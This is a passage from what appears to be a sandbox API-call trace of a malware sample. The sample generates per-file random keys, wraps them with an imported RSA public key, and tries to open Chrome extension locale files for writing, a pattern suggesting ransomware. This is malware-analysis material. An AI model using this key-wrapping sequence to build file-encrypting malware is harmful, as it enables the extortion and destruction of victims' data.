hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e9f8) returned 1 [0237.751] CryptGetKeyParam (in: hKey=0x659e9f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.751] CryptEncrypt (in: hKey=0x659e9f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9690000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9690000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.751] GetLastError () returned 0x0 [0237.751] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.751] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.752] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.755] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.757] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.757] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.757] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.757] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.759] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.761] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.761] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.761] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.761] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.763] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ea38) returned 1 [0237.763] CryptGetKeyParam (in: hKey=0x659ea38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.763] CryptEncrypt (in: hKey=0x659ea38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x96a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x96a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.763] GetLastError () returned 0x0 [0237.763] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.763] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.765] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659eab8) returned 1 [0237.765] CryptGetKeyParam (in: hKey=0x659eab8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.765] CryptEncrypt (in: hKey=0x659eab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x96b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x96b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.765] GetLastError () returned 0x0 [0237.765] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.765] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.766] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.769] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.770] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.770] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.770] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.770] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.773] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.774] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.774] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.774] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.774] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0237.776] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659eaf8) returned 1 [0237.776] CryptGetKeyParam (in: hKey=0x659eaf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.777] CryptEncrypt (in: hKey=0x659eaf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x96c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x96c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.777] GetLastError () returned 0x0 [0237.777] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.777] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.779] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659eb78) returned 1 [0237.779] CryptGetKeyParam (in: hKey=0x659eb78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.779] CryptEncrypt (in: hKey=0x659eb78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x96d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x96d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.779] GetLastError () returned 0x0 [0237.779] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.779] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.780] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.783] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.784] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.784] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.784] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.784] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.786] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.787] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.788] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.788] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.788] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.790] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ebb8) returned 1 [0237.790] CryptGetKeyParam (in: hKey=0x659ebb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.790] CryptEncrypt (in: hKey=0x659ebb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x96e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x96e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.790] GetLastError () returned 0x0 [0237.790] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.790] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.792] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x64894c0) returned 1 [0237.792] CryptGetKeyParam (in: hKey=0x64894c0, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.792] CryptEncrypt (in: hKey=0x64894c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x96f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x96f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.792] GetLastError () returned 0x0 [0237.792] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.792] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.793] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.795] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.797] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.797] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.797] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.797] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.799] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.801] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.801] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.801] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.802] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.805] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d8b8) returned 1 [0237.805] CryptGetKeyParam (in: hKey=0x659d8b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.805] CryptEncrypt (in: hKey=0x659d8b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9700000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9700000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.805] GetLastError () returned 0x0 [0237.805] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.805] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.807] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x5a4c58) returned 1 [0237.807] CryptGetKeyParam (in: hKey=0x5a4c58, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.807] CryptEncrypt (in: hKey=0x5a4c58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9710000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9710000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.807] GetLastError () returned 0x0 [0237.807] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.807] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.808] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.811] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.812] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.812] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.813] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.813] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0237.815] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.816] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.816] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.816] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.817] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.819] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x648b0c0) returned 1 [0237.819] CryptGetKeyParam (in: hKey=0x648b0c0, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.819] CryptEncrypt (in: hKey=0x648b0c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9720000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9720000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.820] GetLastError () returned 0x0 [0237.820] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.820] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.821] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ec38) returned 1 [0237.821] CryptGetKeyParam (in: hKey=0x659ec38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.821] CryptEncrypt (in: hKey=0x659ec38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9730000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9730000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.822] GetLastError () returned 0x0 [0237.822] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.822] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.822] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.825] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.826] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.827] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.827] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.827] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.829] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.830] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.830] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.830] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.830] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0237.834] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b19f8) returned 1 [0237.835] CryptGetKeyParam (in: hKey=0x66b19f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.835] CryptEncrypt (in: hKey=0x66b19f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9740000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9740000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.835] GetLastError () returned 0x0 [0237.835] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.835] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.837] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1eb8) returned 1 [0237.837] CryptGetKeyParam (in: hKey=0x66b1eb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.837] CryptEncrypt (in: hKey=0x66b1eb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9750000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9750000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.837] GetLastError () returned 0x0 [0237.837] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.837] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.839] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.841] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.843] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.843] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.843] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.843] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.845] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.846] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.846] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.846] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.847] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.849] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1878) returned 1 [0237.849] CryptGetKeyParam (in: hKey=0x66b1878, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.849] CryptEncrypt (in: hKey=0x66b1878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9760000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9760000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.849] GetLastError () returned 0x0 [0237.849] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.849] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.851] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b1978) returned 1 [0237.851] CryptGetKeyParam (in: hKey=0x66b1978, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.851] CryptEncrypt (in: hKey=0x66b1978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9770000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9770000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.852] GetLastError () 